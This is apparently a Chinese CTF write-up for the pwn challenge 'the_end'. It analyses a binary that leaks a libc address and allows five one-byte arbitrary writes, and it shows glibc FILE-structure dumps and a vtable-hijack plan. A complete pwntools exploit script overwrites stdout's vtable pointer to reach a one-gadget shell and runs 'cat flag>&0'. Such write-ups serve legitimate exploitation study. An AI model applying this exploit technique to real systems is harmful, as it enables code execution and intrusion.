void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}
代码很简单首先是2个close
0表示stdin,1表示stdout,2表示stderr。
这里关闭了输出和错误流。在循环里面有一个任意地址写但是限制了写入最多5个字节。
程序中给出了libc的地址,可以找到stdin,stdout,stderr的地址。
pwndbg> print stdin
$1 = (struct _IO_FILE *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>
pwndbg> print _IO_2_1_stdin_
$2 = {
file = {
_flags = 0xfbad2088,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7dd3790 <_IO_stdfile_0_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd19c0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000'
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
记得之前遇到过伪造vtable劫持程序执行流,回忆一下
参考https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/
或者看一下https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/
就是在调用exit函数的时候会先清空流,这些流会以链的形式存放每个流会维持一个上面的结构体。
在清空流的时候会调用vtable里面的
pwndbg> print _IO_file_jumps
$3 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7a869c0 <_IO_new_file_finish>,
__overflow = 0x7ffff7a87730 <_IO_new_file_overflow>,
__underflow = 0x7ffff7a874a0 <_IO_new_file_underflow>,
__uflow = 0x7ffff7a88600 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a89980 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7a861e0 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7a85ec0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7a854c0 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7a88a00 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a85430 <_IO_new_file_setbuf>,
__sync = 0x7ffff7a85370 <_IO_new_file_sync>,
__doallocate = 0x7ffff7a7a180 <__GI__IO_file_doallocate>,
__read = 0x7ffff7a861a0 <__GI__IO_file_read>,
__write = 0x7ffff7a85b70 <_IO_new_file_write>,
__seek = 0x7ffff7a85970 <__GI__IO_file_seek>,
__close = 0x7ffff7a85340 <__GI__IO_file_close>,
__stat = 0x7ffff7a85b60 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7a89af0 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a89b00 <_IO_default_imbue>
}
具体是std三个流中的哪一个还不确定,暂时以stdin作为例子。
上面给出的链接里面说是调用__overflow = 0x7ffff7a87730 <_IO_new_file_overflow>,
但是gdb下断点(测试过,并不是因为关闭了2个流)发现并没有调用,原因不清楚。
但是作为一个傲娇的pwn爷爷并不能这样放弃,在_IO_file_jumps
结构体里多有函数都下了一个断点(有好多个_IO_2_1_stdin_
这种类似结构但是所有的vtable项都会指向一个地址)然后发现第一次断到了__setbuf = 0x7ffff7a85430 <_IO_new_file_setbuf>,
地址处,第二次断到了__sync = 0x7ffff7a85370 <_IO_new_file_sync>,
地址处。
思路有了:把这个地址替换掉。
分界线
但是发现vtable不能直接写入,那就直接伪造vtable结构但是能写的只有5个字节。
试了一下,发现stdin的_IO_2_1_stdin_
结构是可以写的。
修改什么,修改成什么?
pwndbg> print stdin
$4 = (struct _IO_FILE *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>
pwndbg> x /50xg 0x7ffff7dd18e0
0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2088 0x0000000000000000
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0
这里的0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0
就是vtable的地址,这里把vtable的地址改到_IO_2_1_stdin_
只需要2个字节,可以实现。
接下来需要确定__setbuf = 0x7ffff7a85430 <_IO_new_file_setbuf>,
到_IO_file_jumps
的偏移。在_IO_2_1_stdout_+64+8
地址处到0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
的距离刚好和_IO_file_jumps
开始到setbuf
的偏移是一样的(为什么要选取)0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0
下面会说。
第一个问题解决了,需要把stdin里面的vtable指针修改为_IO_2_1_stdout_+64+8
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xd8))
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+64+8)[0])
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xd9))
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+64+8)[1])
接下来是修改0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0
为one-gadget的地址。
现在知道为什么选这个地址了吧,因为选这里只需要修改3个字节就能修改成需要的地址(写入的地址只需要2个条件1、有写权限。2、修改3个字节就能写入一个lib库中的函数地址)。
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa0))
p.send(p64(sys_addr)[0])
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa1))
p.send(p64(sys_addr)[1])
#gdb.attach(p)
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa2))
接下来下一个问题来了,具体要复写哪一个流,测试后发现只有stdout可以劫持到程序执行流。
还有一个问题是获取到shell的one-gadget这里记录一个很有用的one-gadget
用ida加载库文件搜索字符串
找到第一个引用
黄色的地址处
这个one-gadget调试运行结果
但是不知道原因,在这个题里面无法获取到shell,尝试了所有的one-gadget之后还好出题人心不黑。
最后请教大佬(感谢)解决了shell命令执行后因为stdin关闭没办法回显的问题cat flag>&0
。
再次感谢大佬指点^_^
。
总结:其实pwn不需要固定的套路,一个思路,或者一个想法,重要的是动手来调试,测试。接下来就是过河搭桥了。
from pwn import *
cmd="cat flag>&0"
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc=ELF("./libc64.so")
p=process("./the_end")
context.log_level='debug'
#sys_off=0x000000000004520F
sys_off=0xf02b0
p.recvuntil("gift ")
A_sleep=int(p.recv(14),16)
print "A_sleep="+hex(A_sleep)
libc.address=A_sleep-libc.symbols["sleep"]
sys_addr=libc.address+sys_off
print "system addr="+hex(sys_addr)
print hex(libc.symbols["_IO_2_1_stdin_"])
p.recvuntil("\n")
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xd8))
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+64+8)[0])
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xd9))
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+64+8)[1])
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa0))
p.send(p64(sys_addr)[0])
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa1))
p.send(p64(sys_addr)[1])
gdb.attach(p)
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa2))
p.send(p64(sys_addr)[2])
p.sendline(cmd)
p.interactive()